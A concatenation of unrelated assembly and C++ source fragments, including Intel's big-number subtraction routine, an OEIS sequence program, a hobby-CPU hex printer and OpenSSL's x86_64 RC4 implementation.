std::cout << "/std:c++latest\n"; else std::cout << "_MSVC_LANG: " << _MSVC_LANG << '\n'; #else if constexpr (__cplusplus == 202003L) std::cout << "C++20\n"; else if constexpr (__cplusplus == 201703L) std::cout << "C++17\n"; else if constexpr (__cplusplus == 201402L) std::cout << "C++14\n"; else if constexpr (__cplusplus == 201103L) std::cout << "C++11\n"; else if constexpr (__cplusplus == 199711L) std::cout << "C++98\n"; else std::cout << __cplusplus << " pre-standard C++\n"; #endif } } // namespace sw::universal
############################################################################### # Copyright 2018 Intel Corporation # All Rights Reserved. # # If this software was obtained under the Intel Simplified Software License, # the following terms apply: # # The source code, information and material ("Material") contained herein is # owned by Intel Corporation or its suppliers or licensors, and title to such # Material remains with Intel Corporation or its suppliers or licensors. The # Material contains proprietary information of Intel or its suppliers and # licensors. The Material is protected by worldwide copyright laws and treaty # provisions. No part of the Material may be used, copied, reproduced, # modified, published, uploaded, posted, transmitted, distributed or disclosed # in any way without Intel's prior express written permission. No license under # any patent, copyright or other intellectual property rights in the Material # is granted to or conferred upon you, either expressly, by implication, # inducement, estoppel or otherwise. Any license under such intellectual # property rights must be express and approved by Intel in writing. # # Unless otherwise agreed by Intel in writing, you may not remove or alter this # notice or any other notice embedded in Materials by Intel or Intel's # suppliers or licensors in any way. # # # If this software was obtained under the Apache License, Version 2.0 (the # "License"), the following terms apply: # # You may not use this file except in compliance with the License. You may # obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 # # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # # See the License for the specific language governing permissions and # limitations under the License. ############################################################################### .text .p2align 6, 0x90 .globl _cpSub_BNU _cpSub_BNU: movslq %ecx, %rcx xor %rax, %rax cmp $(2), %rcx jge .LSUB_GE2gas_1 add %rax, %rax movq (%rsi), %r8 sbbq (%rdx), %r8 movq %r8, (%rdi) sbb %rax, %rax jmp .LFINALgas_1 .LSUB_GE2gas_1: jg .LSUB_GT2gas_1 add %rax, %rax movq (%rsi), %r8 sbbq (%rdx), %r8 movq (8)(%rsi), %r9 sbbq (8)(%rdx), %r9 movq %r8, (%rdi) movq %r9, (8)(%rdi) sbb %rax, %rax jmp .LFINALgas_1 .LSUB_GT2gas_1: cmp $(4), %rcx jge .LSUB_GE4gas_1 add %rax, %rax movq (%rsi), %r8 sbbq (%rdx), %r8 movq (8)(%rsi), %r9 sbbq (8)(%rdx), %r9 movq (16)(%rsi), %r10 sbbq (16)(%rdx), %r10 movq %r8, (%rdi) movq %r9, (8)(%rdi) movq %r10, (16)(%rdi) sbb %rax, %rax jmp .LFINALgas_1 .LSUB_GE4gas_1: jg .LSUB_GT4gas_1 add %rax, %rax movq (%rsi), %r8 sbbq (%rdx), %r8 movq (8)(%rsi), %r9 sbbq (8)(%rdx), %r9 movq (16)(%rsi), %r10 sbbq (16)(%rdx), %r10 movq (24)(%rsi), %r11 sbbq (24)(%rdx), %r11 movq %r8, (%rdi) movq %r9, (8)(%rdi) movq %r10, (16)(%rdi) movq %r11, (24)(%rdi) sbb %rax, %rax jmp .LFINALgas_1 .LSUB_GT4gas_1: cmp $(6), %rcx jge .LSUB_GE6gas_1 add %rax, %rax movq (%rsi), %r8 sbbq (%rdx), %r8 movq (8)(%rsi), %r9 sbbq (8)(%rdx), %r9 movq (16)(%rsi), %r10 sbbq (16)(%rdx), %r10 movq (24)(%rsi), %r11 sbbq (24)(%rdx), %r11 movq (32)(%rsi), %rcx sbbq (32)(%rdx), %rcx movq %r8, (%rdi) movq %r9, (8)(%rdi) movq %r10, (16)(%rdi) movq %r11, (24)(%rdi) movq %rcx, (32)(%rdi) sbb %rax, %rax jmp .LFINALgas_1 .LSUB_GE6gas_1: jg .LSUB_GT6gas_1 add %rax, %rax movq (%rsi), %r8 sbbq (%rdx), %r8 movq (8)(%rsi), %r9 sbbq (8)(%rdx), %r9 movq (16)(%rsi), %r10 sbbq (16)(%rdx), %r10 movq (24)(%rsi), %r11 sbbq (24)(%rdx), %r11 movq (32)(%rsi), %rcx sbbq (32)(%rdx), %rcx movq (40)(%rsi), %rsi sbbq (40)(%rdx), %rsi movq %r8, (%rdi) movq %r9, (8)(%rdi) movq %r10, (16)(%rdi) movq %r11, (24)(%rdi) movq %rcx, (32)(%rdi) movq %rsi, (40)(%rdi) sbb %rax, %rax jmp .LFINALgas_1 .LSUB_GT6gas_1: cmp $(8), %rcx jge .LSUB_GE8gas_1 .LSUB_EQ7gas_1: add %rax, %rax movq (%rsi), %r8 sbbq (%rdx), %r8 movq (8)(%rsi), %r9 sbbq (8)(%rdx), %r9 movq (16)(%rsi), %r10 sbbq (16)(%rdx), %r10 movq (24)(%rsi), %r11 sbbq (24)(%rdx), %r11 movq (32)(%rsi), %rcx sbbq (32)(%rdx), %rcx movq %r8, (%rdi) movq (40)(%rsi), %r8 sbbq (40)(%rdx), %r8 movq (48)(%rsi), %rsi sbbq (48)(%rdx), %rsi movq %r9, (8)(%rdi) movq %r10, (16)(%rdi) movq %r11, (24)(%rdi) movq %rcx, (32)(%rdi) movq %r8, (40)(%rdi) movq %rsi, (48)(%rdi) sbb %rax, %rax jmp .LFINALgas_1 .LSUB_GE8gas_1: jg .LSUB_GT8gas_1 add %rax, %rax movq (%rsi), %r8 sbbq (%rdx), %r8 movq (8)(%rsi), %r9 sbbq (8)(%rdx), %r9 movq (16)(%rsi), %r10 sbbq (16)(%rdx), %r10 movq (24)(%rsi), %r11 sbbq (24)(%rdx), %r11 movq (32)(%rsi), %rcx sbbq (32)(%rdx), %rcx movq %r8, (%rdi) movq (40)(%rsi), %r8 sbbq (40)(%rdx), %r8 movq %r9, (8)(%rdi) movq (48)(%rsi), %r9 sbbq (48)(%rdx), %r9 movq (56)(%rsi), %rsi sbbq (56)(%rdx), %rsi movq %r10, (16)(%rdi) movq %r11, (24)(%rdi) movq %rcx, (32)(%rdi) movq %r8, (40)(%rdi) movq %r9, (48)(%rdi) movq %rsi, (56)(%rdi) sbb %rax, %rax jmp .LFINALgas_1 .LSUB_GT8gas_1: mov %rax, %r8 mov %rcx, %rax and $(3), %rcx xor %rax, %rcx lea (%rsi,%rcx,8), %rsi lea (%rdx,%rcx,8), %rdx lea (%rdi,%rcx,8), %rdi neg %rcx add %r8, %r8 jmp .LSUB_GLOOPgas_1 .p2align 6, 0x90 .LSUB_GLOOPgas_1: movq (%rsi,%rcx,8), %r8 movq (8)(%rsi,%rcx,8), %r9 movq (16)(%rsi,%rcx,8), %r10 movq (24)(%rsi,%rcx,8), %r11 sbbq (%rdx,%rcx,8), %r8 sbbq (8)(%rdx,%rcx,8), %r9 sbbq (16)(%rdx,%rcx,8), %r10 sbbq (24)(%rdx,%rcx,8), %r11 movq %r8, (%rdi,%rcx,8) movq %r9, (8)(%rdi,%rcx,8) movq %r10, (16)(%rdi,%rcx,8) movq %r11, (24)(%rdi,%rcx,8) lea (4)(%rcx), %rcx jrcxz .LSUB_LLAST0gas_1 jmp .LSUB_GLOOPgas_1 .LSUB_LLAST0gas_1: sbb %rcx, %rcx and $(3), %rax jz .LFIN0gas_1 .LSUB_LLOOPgas_1: test $(2), %rax jz .LSUB_LLAST1gas_1 add %rcx, %rcx movq (%rsi), %r8 movq (8)(%rsi), %r9 sbbq (%rdx), %r8 sbbq (8)(%rdx), %r9 movq %r8, (%rdi) movq %r9, (8)(%rdi) sbb %rcx, %rcx test $(1), %rax jz .LFIN0gas_1 add $(16), %rsi add $(16), %rdx add $(16), %rdi .LSUB_LLAST1gas_1: add %rcx, %rcx movq (%rsi), %r8 sbbq (%rdx), %r8 movq %r8, (%rdi) sbb %rcx, %rcx .LFIN0gas_1: mov %rcx, %rax .LFINALgas_1: neg %rax vzeroupper ret
; A226903: Shiraishi numbers: a parametrized family of solutions c to the Diophantine equation a^3 + b^3 + c^3 = d^3 with d = c+1. ; 5,18,53,102,197,306,491,684,989,1290,1745,2178,2813,3402,4247,5016,6101,7074,8429,9630,11285,12738,14723,16452,18797,20826,23561,25914,29069,31770,35375,38448,42533,46002,50597,54486,59621,63954,69659,74460,80765,86058 mov $2,$0 add $2,1 mov $5,$0 lpb $2,1 mov $0,$5 sub $2,1 sub $0,$2 mov $13,$0 mov $15,2 lpb $15,1 mov $0,$13 sub $15,1 add $0,$15 sub $0,1 mov $9,$0 mov $11,2 lpb $11,1 mov $0,$9 sub $11,1 add $0,$11 add $0,1 mov $6,1 mov $7,9 mul $7,$0 mul $6,$7 mul $6,$0 div $6,6 mov $3,$6 pow $3,2 sub $3,$0 mov $4,$3 mov $12,$11 lpb $12,1 mov $10,$4 sub $12,1 lpe lpe lpb $9,1 mov $9,0 sub $10,$4 lpe mov $4,$10 mov $8,$15 lpb $8,1 sub $8,1 mov $14,$4 lpe lpe lpb $13,1 mov $13,0 sub $14,$4 lpe mov $4,$14 sub $4,34 div $4,16 mul $4,2 add $4,5 add $1,$4 lpe
;****************************************************************************** .define dir_reg, 0x00 .define port_reg, 0x01 .define pin_reg, 0x02 .define prescaler_l, 0x03 .define prescaler_h, 0x04 .define count_ctrl, 0x05 .define gpu_addr, 0x2000 .define gpu_ctrl_reg, 0x80 ;****************************************************************************** .code ldi r14, 0xff ; set stack pointer ldi r0, 0b00011000 out r0, gpu_ctrl_reg ldi r2, gpu_addr[l] ldi r3, gpu_addr[h] ;****************************************************************************** main: ldi r0, 0xff ldi r1, 0x3d ldi r4, 1 ldi r5, 0 add r0, r4 adc r1, r5 mov r12, r1 call numToStr mov r12, r0 call numToStr hlt ;****************************************************************************** ; Prints the value in r12 to the screen, in hex. ; It expects the gpu pointer to be in p2. numToStr: mov r13, r12 srl r13 srl r13 srl r13 srl r13 cpi r13, 0x09 bc alpha1 adi r13, 48 br print1 alpha1: adi r13, 55 print1: sri r13, p2 ani r12, 0x0f cpi r12, 0x09 bc alpha2 adi r12, 48 br print2 alpha2: adi r12, 55 print2: sri r12, p2 ret ;******************************************************************************
OPTION DOTNAME .text$ SEGMENT ALIGN(256) 'CODE' EXTERN OPENSSL_ia32cap_P:NEAR PUBLIC RC4 ALIGN 16 RC4 PROC PUBLIC mov QWORD PTR[8+rsp],rdi ;WIN64 prologue mov QWORD PTR[16+rsp],rsi mov rax,rsp $L$SEH_begin_RC4:: mov rdi,rcx mov rsi,rdx mov rdx,r8 mov rcx,r9 or rsi,rsi jne $L$entry mov rdi,QWORD PTR[8+rsp] ;WIN64 epilogue mov rsi,QWORD PTR[16+rsp] DB 0F3h,0C3h ;repret $L$entry:: push rbx push r12 push r13 $L$prologue:: mov r11,rsi mov r12,rdx mov r13,rcx xor r10,r10 xor rcx,rcx lea rdi,QWORD PTR[8+rdi] mov r10b,BYTE PTR[((-8))+rdi] mov cl,BYTE PTR[((-4))+rdi] cmp DWORD PTR[256+rdi],-1 je $L$RC4_CHAR mov r8d,DWORD PTR[OPENSSL_ia32cap_P] xor rbx,rbx inc r10b sub rbx,r10 sub r13,r12 mov eax,DWORD PTR[r10*4+rdi] test r11,-16 jz $L$loop1 bt r8d,30 jc $L$intel and rbx,7 lea rsi,QWORD PTR[1+r10] jz $L$oop8 sub r11,rbx $L$oop8_warmup:: add cl,al mov edx,DWORD PTR[rcx*4+rdi] mov DWORD PTR[rcx*4+rdi],eax mov DWORD PTR[r10*4+rdi],edx add al,dl inc r10b mov edx,DWORD PTR[rax*4+rdi] mov eax,DWORD PTR[r10*4+rdi] xor dl,BYTE PTR[r12] mov BYTE PTR[r13*1+r12],dl lea r12,QWORD PTR[1+r12] dec rbx jnz $L$oop8_warmup lea rsi,QWORD PTR[1+r10] jmp $L$oop8 ALIGN 16 $L$oop8:: add cl,al mov edx,DWORD PTR[rcx*4+rdi] mov DWORD PTR[rcx*4+rdi],eax mov ebx,DWORD PTR[rsi*4+rdi] ror r8,8 mov DWORD PTR[r10*4+rdi],edx add dl,al mov r8b,BYTE PTR[rdx*4+rdi] add cl,bl mov edx,DWORD PTR[rcx*4+rdi] mov DWORD PTR[rcx*4+rdi],ebx mov eax,DWORD PTR[4+rsi*4+rdi] ror r8,8 mov DWORD PTR[4+r10*4+rdi],edx add dl,bl mov r8b,BYTE PTR[rdx*4+rdi] add cl,al mov edx,DWORD PTR[rcx*4+rdi] mov DWORD PTR[rcx*4+rdi],eax mov ebx,DWORD PTR[8+rsi*4+rdi] ror r8,8 mov DWORD PTR[8+r10*4+rdi],edx add dl,al mov r8b,BYTE PTR[rdx*4+rdi] add cl,bl mov edx,DWORD PTR[rcx*4+rdi] mov DWORD PTR[rcx*4+rdi],ebx mov eax,DWORD PTR[12+rsi*4+rdi] ror r8,8 mov DWORD PTR[12+r10*4+rdi],edx add dl,bl mov r8b,BYTE PTR[rdx*4+rdi] add cl,al mov edx,DWORD PTR[rcx*4+rdi] mov DWORD PTR[rcx*4+rdi],eax mov ebx,DWORD PTR[16+rsi*4+rdi] ror r8,8 mov DWORD PTR[16+r10*4+rdi],edx add dl,al mov r8b,BYTE PTR[rdx*4+rdi] add cl,bl mov edx,DWORD PTR[rcx*4+rdi] mov DWORD PTR[rcx*4+rdi],ebx mov eax,DWORD PTR[20+rsi*4+rdi] ror r8,8 mov DWORD PTR[20+r10*4+rdi],edx add dl,bl mov r8b,BYTE PTR[rdx*4+rdi] add cl,al mov edx,DWORD PTR[rcx*4+rdi] mov DWORD PTR[rcx*4+rdi],eax mov ebx,DWORD PTR[24+rsi*4+rdi] ror r8,8 mov DWORD PTR[24+r10*4+rdi],edx add dl,al mov r8b,BYTE PTR[rdx*4+rdi] add sil,8 add cl,bl mov edx,DWORD PTR[rcx*4+rdi] mov DWORD PTR[rcx*4+rdi],ebx mov eax,DWORD PTR[((-4))+rsi*4+rdi] ror r8,8 mov DWORD PTR[28+r10*4+rdi],edx add dl,bl mov r8b,BYTE PTR[rdx*4+rdi] add r10b,8 ror r8,8 sub r11,8 xor r8,QWORD PTR[r12] mov QWORD PTR[r13*1+r12],r8 lea r12,QWORD PTR[8+r12] test r11,-8 jnz $L$oop8 cmp r11,0 jne $L$loop1 jmp $L$exit ALIGN 16 $L$intel:: test r11,-32 jz $L$loop1 and rbx,15 jz $L$oop16_is_hot sub r11,rbx $L$oop16_warmup:: add cl,al mov edx,DWORD PTR[rcx*4+rdi] mov DWORD PTR[rcx*4+rdi],eax mov DWORD PTR[r10*4+rdi],edx add al,dl inc r10b mov edx,DWORD PTR[rax*4+rdi] mov eax,DWORD PTR[r10*4+rdi] xor dl,BYTE PTR[r12] mov BYTE PTR[r13*1+r12],dl lea r12,QWORD PTR[1+r12] dec rbx jnz $L$oop16_warmup mov rbx,rcx xor rcx,rcx mov cl,bl $L$oop16_is_hot:: lea rsi,QWORD PTR[r10*4+rdi] add cl,al mov edx,DWORD PTR[rcx*4+rdi] pxor xmm0,xmm0 mov DWORD PTR[rcx*4+rdi],eax add al,dl mov ebx,DWORD PTR[4+rsi] movzx eax,al mov DWORD PTR[rsi],edx add cl,bl pinsrw xmm0,WORD PTR[rax*4+rdi],0 jmp $L$oop16_enter ALIGN 16 $L$oop16:: add cl,al mov edx,DWORD PTR[rcx*4+rdi] pxor xmm2,xmm0 psllq xmm1,8 pxor xmm0,xmm0 mov DWORD PTR[rcx*4+rdi],eax add al,dl mov ebx,DWORD PTR[4+rsi] movzx eax,al mov DWORD PTR[rsi],edx pxor xmm2,xmm1 add cl,bl pinsrw xmm0,WORD PTR[rax*4+rdi],0 movdqu XMMWORD PTR[r13*1+r12],xmm2 lea r12,QWORD PTR[16+r12] $L$oop16_enter:: mov edx,DWORD PTR[rcx*4+rdi] pxor xmm1,xmm1 mov DWORD PTR[rcx*4+rdi],ebx add bl,dl mov eax,DWORD PTR[8+rsi] movzx ebx,bl mov DWORD PTR[4+rsi],edx add cl,al pinsrw xmm1,WORD PTR[rbx*4+rdi],0 mov edx,DWORD PTR[rcx*4+rdi] mov DWORD PTR[rcx*4+rdi],eax add al,dl mov ebx,DWORD PTR[12+rsi] movzx eax,al mov DWORD PTR[8+rsi],edx add cl,bl pinsrw xmm0,WORD PTR[rax*4+rdi],1 mov edx,DWORD PTR[rcx*4+rdi] mov DWORD PTR[rcx*4+rdi],ebx add bl,dl mov eax,DWORD PTR[16+rsi] movzx ebx,bl mov DWORD PTR[12+rsi],edx add cl,al pinsrw xmm1,WORD PTR[rbx*4+rdi],1 mov edx,DWORD PTR[rcx*4+rdi] mov DWORD PTR[rcx*4+rdi],eax add al,dl mov ebx,DWORD PTR[20+rsi] movzx eax,al mov DWORD PTR[16+rsi],edx add cl,bl pinsrw xmm0,WORD PTR[rax*4+rdi],2 mov edx,DWORD PTR[rcx*4+rdi] mov DWORD PTR[rcx*4+rdi],ebx add bl,dl mov eax,DWORD PTR[24+rsi] movzx ebx,bl mov DWORD PTR[20+rsi],edx add cl,al pinsrw xmm1,WORD PTR[rbx*4+rdi],2 mov edx,DWORD PTR[rcx*4+rdi] mov DWORD PTR[rcx*4+rdi],eax add al,dl mov ebx,DWORD PTR[28+rsi] movzx eax,al mov DWORD PTR[24+rsi],edx add cl,bl pinsrw xmm0,WORD PTR[rax*4+rdi],3 mov edx,DWORD PTR[rcx*4+rdi] mov DWORD PTR[rcx*4+rdi],ebx add bl,dl mov eax,DWORD PTR[32+rsi] movzx ebx,bl mov DWORD PTR[28+rsi],edx add cl,al pinsrw xmm1,WORD PTR[rbx*4+rdi],3 mov edx,DWORD PTR[rcx*4+rdi] mov DWORD PTR[rcx*4+rdi],eax add al,dl mov ebx,DWORD PTR[36+rsi] movzx eax,al mov DWORD PTR[32+rsi],edx add cl,bl pinsrw xmm0,WORD PTR[rax*4+rdi],4 mov edx,DWORD PTR[rcx*4+rdi] mov DWORD PTR[rcx*4+rdi],ebx add bl,dl mov eax,DWORD PTR[40+rsi] movzx ebx,bl mov DWORD PTR[36+rsi],edx add cl,al pinsrw xmm1,WORD PTR[rbx*4+rdi],4 mov edx,DWORD PTR[rcx*4+rdi] mov DWORD PTR[rcx*4+rdi],eax add al,dl mov ebx,DWORD PTR[44+rsi] movzx eax,al mov DWORD PTR[40+rsi],edx add cl,bl pinsrw xmm0,WORD PTR[rax*4+rdi],5 mov edx,DWORD PTR[rcx*4+rdi] mov DWORD PTR[rcx*4+rdi],ebx add bl,dl mov eax,DWORD PTR[48+rsi] movzx ebx,bl mov DWORD PTR[44+rsi],edx add cl,al pinsrw xmm1,WORD PTR[rbx*4+rdi],5 mov edx,DWORD PTR[rcx*4+rdi] mov DWORD PTR[rcx*4+rdi],eax add al,dl mov ebx,DWORD PTR[52+rsi] movzx eax,al mov DWORD PTR[48+rsi],edx add cl,bl pinsrw xmm0,WORD PTR[rax*4+rdi],6 mov edx,DWORD PTR[rcx*4+rdi] mov DWORD PTR[rcx*4+rdi],ebx add bl,dl mov eax,DWORD PTR[56+rsi] movzx ebx,bl mov DWORD PTR[52+rsi],edx add cl,al pinsrw xmm1,WORD PTR[rbx*4+rdi],6 mov edx,DWORD PTR[rcx*4+rdi] mov DWORD PTR[rcx*4+rdi],eax add al,dl mov ebx,DWORD PTR[60+rsi] movzx eax,al mov DWORD PTR[56+rsi],edx add cl,bl pinsrw xmm0,WORD PTR[rax*4+rdi],7 add r10b,16 movdqu xmm2,XMMWORD PTR[r12] mov edx,DWORD PTR[rcx*4+rdi] mov DWORD PTR[rcx*4+rdi],ebx add bl,dl movzx ebx,bl mov DWORD PTR[60+rsi],edx lea rsi,QWORD PTR[r10*4+rdi] pinsrw xmm1,WORD PTR[rbx*4+rdi],7 mov eax,DWORD PTR[rsi] mov rbx,rcx xor rcx,rcx sub r11,16 mov cl,bl test r11,-16 jnz $L$oop16 psllq xmm1,8 pxor xmm2,xmm0 pxor xmm2,xmm1 movdqu XMMWORD PTR[r13*1+r12],xmm2 lea r12,QWORD PTR[16+r12] cmp r11,0 jne $L$loop1 jmp $L$exit ALIGN 16 $L$loop1:: add cl,al mov edx,DWORD PTR[rcx*4+rdi] mov DWORD PTR[rcx*4+rdi],eax mov DWORD PTR[r10*4+rdi],edx add al,dl inc r10b mov edx,DWORD PTR[rax*4+rdi] mov eax,DWORD PTR[r10*4+rdi] xor dl,BYTE PTR[r12] mov BYTE PTR[r13*1+r12],dl lea r12,QWORD PTR[1+r12] dec r11 jnz $L$loop1 jmp $L$exit ALIGN 16 $L$RC4_CHAR:: add r10b,1 movzx eax,BYTE PTR[r10*1+rdi] test r11,-8 jz $L$cloop1 jmp $L$cloop8 ALIGN 16 $L$cloop8:: mov r8d,DWORD PTR[r12] mov r9d,DWORD PTR[4+r12] add cl,al lea rsi,QWORD PTR[1+r10] movzx edx,BYTE PTR[rcx*1+rdi] movzx esi,sil movzx ebx,BYTE PTR[rsi*1+rdi] mov BYTE PTR[rcx*1+rdi],al cmp rcx,rsi mov BYTE PTR[r10*1+rdi],dl jne $L$cmov0 mov rbx,rax $L$cmov0:: add dl,al xor r8b,BYTE PTR[rdx*1+rdi] ror r8d,8 add cl,bl lea r10,QWORD PTR[1+rsi] movzx edx,BYTE PTR[rcx*1+rdi] movzx r10d,r10b movzx eax,BYTE PTR[r10*1+rdi] mov BYTE PTR[rcx*1+rdi],bl cmp rcx,r10 mov BYTE PTR[rsi*1+rdi],dl jne $L$cmov1 mov rax,rbx $L$cmov1:: add dl,bl xor r8b,BYTE PTR[rdx*1+rdi] ror r8d,8 add cl,al lea rsi,QWORD PTR[1+r10] movzx edx,BYTE PTR[rcx*1+rdi] movzx esi,sil movzx ebx,BYTE PTR[rsi*1+rdi] mov BYTE PTR[rcx*1+rdi],al cmp rcx,rsi mov BYTE PTR[r10*1+rdi],dl jne $L$cmov2 mov rbx,rax $L$cmov2:: add dl,al xor r8b,BYTE PTR[rdx*1+rdi] ror r8d,8 add cl,bl lea r10,QWORD PTR[1+rsi] movzx edx,BYTE PTR[rcx*1+rdi] movzx r10d,r10b movzx eax,BYTE PTR[r10*1+rdi] mov BYTE PTR[rcx*1+rdi],bl cmp rcx,r10 mov BYTE PTR[rsi*1+rdi],dl jne $L$cmov3 mov rax,rbx $L$cmov3:: add dl,bl xor r8b,BYTE PTR[rdx*1+rdi] ror r8d,8 add cl,al lea rsi,QWORD PTR[1+r10] movzx edx,BYTE PTR[rcx*1+rdi] movzx esi,sil movzx ebx,BYTE PTR[rsi*1+rdi] mov BYTE PTR[rcx*1+rdi],al cmp rcx,rsi mov BYTE PTR[r10*1+rdi],dl jne $L$cmov4 mov rbx,rax $L$cmov4:: add dl,al xor r9b,BYTE PTR[rdx*1+rdi] ror r9d,8 add cl,bl lea r10,QWORD PTR[1+rsi] movzx edx,BYTE PTR[rcx*1+rdi] movzx r10d,r10b movzx eax,BYTE PTR[r10*1+rdi] mov BYTE PTR[rcx*1+rdi],bl cmp rcx,r10 mov BYTE PTR[rsi*1+rdi],dl jne $L$cmov5 mov rax,rbx $L$cmov5:: add dl,bl xor r9b,BYTE PTR[rdx*1+rdi] ror r9d,8 add cl,al lea rsi,QWORD PTR[1+r10] movzx edx,BYTE PTR[rcx*1+rdi] movzx esi,sil movzx ebx,BYTE PTR[rsi*1+rdi] mov BYTE PTR[rcx*1+rdi],al cmp rcx,rsi mov BYTE PTR[r10*1+rdi],dl jne $L$cmov6 mov rbx,rax $L$cmov6:: add dl,al xor r9b,BYTE PTR[rdx*1+rdi] ror r9d,8 add cl,bl lea r10,QWORD PTR[1+rsi] movzx edx,BYTE PTR[rcx*1+rdi] movzx r10d,r10b movzx eax,BYTE PTR[r10*1+rdi] mov BYTE PTR[rcx*1+rdi],bl cmp rcx,r10 mov BYTE PTR[rsi*1+rdi],dl jne $L$cmov7 mov rax,rbx $L$cmov7:: add dl,bl xor r9b,BYTE PTR[rdx*1+rdi] ror r9d,8 lea r11,QWORD PTR[((-8))+r11] mov DWORD PTR[r13],r8d lea r12,QWORD PTR[8+r12] mov DWORD PTR[4+r13],r9d lea r13,QWORD PTR[8+r13] test r11,-8 jnz $L$cloop8 cmp r11,0 jne $L$cloop1 jmp $L$exit ALIGN 16 $L$cloop1:: add cl,al movzx ecx,cl movzx edx,BYTE PTR[rcx*1+rdi] mov BYTE PTR[rcx*1+rdi],al mov BYTE PTR[r10*1+rdi],dl add dl,al add r10b,1 movzx edx,dl movzx r10d,r10b movzx edx,BYTE PTR[rdx*1+rdi] movzx eax,BYTE PTR[r10*1+rdi] xor dl,BYTE PTR[r12] lea r12,QWORD PTR[1+r12] mov BYTE PTR[r13],dl lea r13,QWORD PTR[1+r13] sub r11,1 jnz $L$cloop1 jmp $L$exit ALIGN 16 $L$exit:: sub r10b,1 mov DWORD PTR[((-8))+rdi],r10d mov DWORD PTR[((-4))+rdi],ecx mov r13,QWORD PTR[rsp] mov r12,QWORD PTR[8+rsp] mov rbx,QWORD PTR[16+rsp] add rsp,24 $L$epilogue:: mov rdi,QWORD PTR[8+rsp] ;WIN64 epilogue mov rsi,QWORD PTR[16+rsp] DB 0F3h,0C3h ;repret $L$SEH_end_RC4:: RC4 ENDP PUBLIC RC4_set_key ALIGN 16 RC4_set_key PROC PUBLIC mov QWORD PTR[8+rsp],rdi ;WIN64 prologue mov QWORD PTR[16+rsp],rsi mov rax,rsp $L$SEH_begin_RC4_set_key:: mov rdi,rcx mov rsi,rdx mov rdx,r8 lea rdi,QWORD PTR[8+rdi] lea rdx,QWORD PTR[rsi*1+rdx] neg rsi mov rcx,rsi xor eax,eax xor r9,r9 xor r10,r10 xor r11,r11 mov r8d,DWORD PTR[OPENSSL_ia32cap_P] bt r8d,20 jc $L$c1stloop jmp $L$w1stloop ALIGN 16 $L$w1stloop:: mov DWORD PTR[rax*4+rdi],eax add al,1 jnc $L$w1stloop xor r9,r9 xor r8,r8 ALIGN 16 $L$w2ndloop:: mov r10d,DWORD PTR[r9*4+rdi] add r8b,BYTE PTR[rsi*1+rdx] add r8b,r10b add rsi,1 mov r11d,DWORD PTR[r8*4+rdi] cmovz rsi,rcx mov DWORD PTR[r8*4+rdi],r10d mov DWORD PTR[r9*4+rdi],r11d add r9b,1 jnc $L$w2ndloop jmp $L$exit_key ALIGN 16 $L$c1stloop:: mov BYTE PTR[rax*1+rdi],al add al,1 jnc $L$c1stloop xor r9,r9 xor r8,r8 ALIGN 16 $L$c2ndloop:: mov r10b,BYTE PTR[r9*1+rdi] add r8b,BYTE PTR[rsi*1+rdx] add r8b,r10b add rsi,1 mov r11b,BYTE PTR[r8*1+rdi] jnz $L$cnowrap mov rsi,rcx $L$cnowrap:: mov BYTE PTR[r8*1+rdi],r10b mov BYTE PTR[r9*1+rdi],r11b add r9b,1 jnc $L$c2ndloop mov DWORD PTR[256+rdi],-1 ALIGN 16 $L$exit_key:: xor eax,eax mov DWORD PTR[((-8))+rdi],eax mov DWORD PTR[((-4))+rdi],eax mov rdi,QWORD PTR[8+rsp] ;WIN64 epilogue mov rsi,QWORD PTR[16+rsp] DB 0F3h,0C3h ;repret $L$SEH_end_RC4_set_key:: RC4_set_key ENDP PUBLIC RC4_options ALIGN 16 RC4_options PROC PUBLIC lea rax,QWORD PTR[$L$opts] mov edx,DWORD PTR[OPENSSL_ia32cap_P] bt edx,20 jc $L$8xchar bt edx,30 jnc $L$done add rax,25 DB 0F3h,0C3h ;repret $L$8xchar:: add rax,12 $L$done:: DB 0F3h,0C3h ;repret ALIGN 64 $L$opts:: DB 114,99,52,40,56,120,44,105,110,116,41,0 DB 114,99,52,40,56,120,44,99,104,97,114,41,0 DB 114,99,52,40,49,54,120,44,105,110,116,41,0 DB 82,67,52,32,102,111,114,32,120,56,54,95,54,52,44,32 DB 67,82,89,80,84,79,71,65,77,83,32,98,121,32,60,97 DB 112,112,114,111,64,111,112,101,110,115,115,108,46,111,114,103 DB 62,0 ALIGN 64 RC4_options ENDP EXTERN __imp_RtlVirtualUnwind:NEAR ALIGN 16 stream_se_handler PROC PRIVATE push rsi push rdi push rbx push rbp push r12 push r13 push r14 push r15 pushfq sub rsp,64 mov rax,QWORD PTR[120+r8] mov rbx,QWORD PTR[248+r8] lea r10,QWORD PTR[$L$prologue] cmp rbx,r10 jb $L$in_prologue mov rax,QWORD PTR[152+r8] lea r10,QWORD PTR[$L$epilogue] cmp rbx,r10 jae $L$in_prologue lea rax,QWORD PTR[24+rax] mov rbx,QWORD PTR[((-8))+rax] mov r12,QWORD PTR[((-16))+rax] mov r13,QWORD PTR[((-24))+rax] mov QWORD PTR[144+r8],rbx mov QWORD PTR[216+r8],r12 mov QWORD PTR[224+r8],r13 $L$in_prologue:: mov rdi,QWORD PTR[8+rax] mov rsi,QWORD PTR[16+rax] mov QWORD PTR[152+r8],rax mov QWORD PTR[168+r8],rsi mov QWORD PTR[176+r8],rdi jmp $L$common_seh_exit stream_se_handler ENDP ALIGN 16 key_se_handler PROC PRIVATE push rsi push rdi push rbx push rbp push r12 push r13 push r14 push r15 pushfq sub rsp,64 mov rax,QWORD PTR[152+r8] mov rdi,QWORD PTR[8+rax] mov rsi,QWORD PTR[16+rax] mov QWORD PTR[168+r8],rsi mov QWORD PTR[176+r8],rdi $L$common_seh_exit:: mov rdi,QWORD PTR[40+r9] mov rsi,r8 mov ecx,154 DD 0a548f3fch mov rsi,r9 xor rcx,rcx mov rdx,QWORD PTR[8+rsi] mov r8,QWORD PTR[rsi] mov r9,QWORD PTR[16+rsi] mov r10,QWORD PTR[40+rsi] lea r11,QWORD PTR[56+rsi] lea r12,QWORD PTR[24+rsi] mov QWORD PTR[32+rsp],r10 mov QWORD PTR[40+rsp],r11 mov QWORD PTR[48+rsp],r12 mov QWORD PTR[56+rsp],rcx call QWORD PTR[__imp_RtlVirtualUnwind] mov eax,1 add rsp,64 popfq pop r15 pop r14 pop r13 pop r12 pop rbp pop rbx pop rdi pop rsi DB 0F3h,0C3h ;repret key_se_handler ENDP 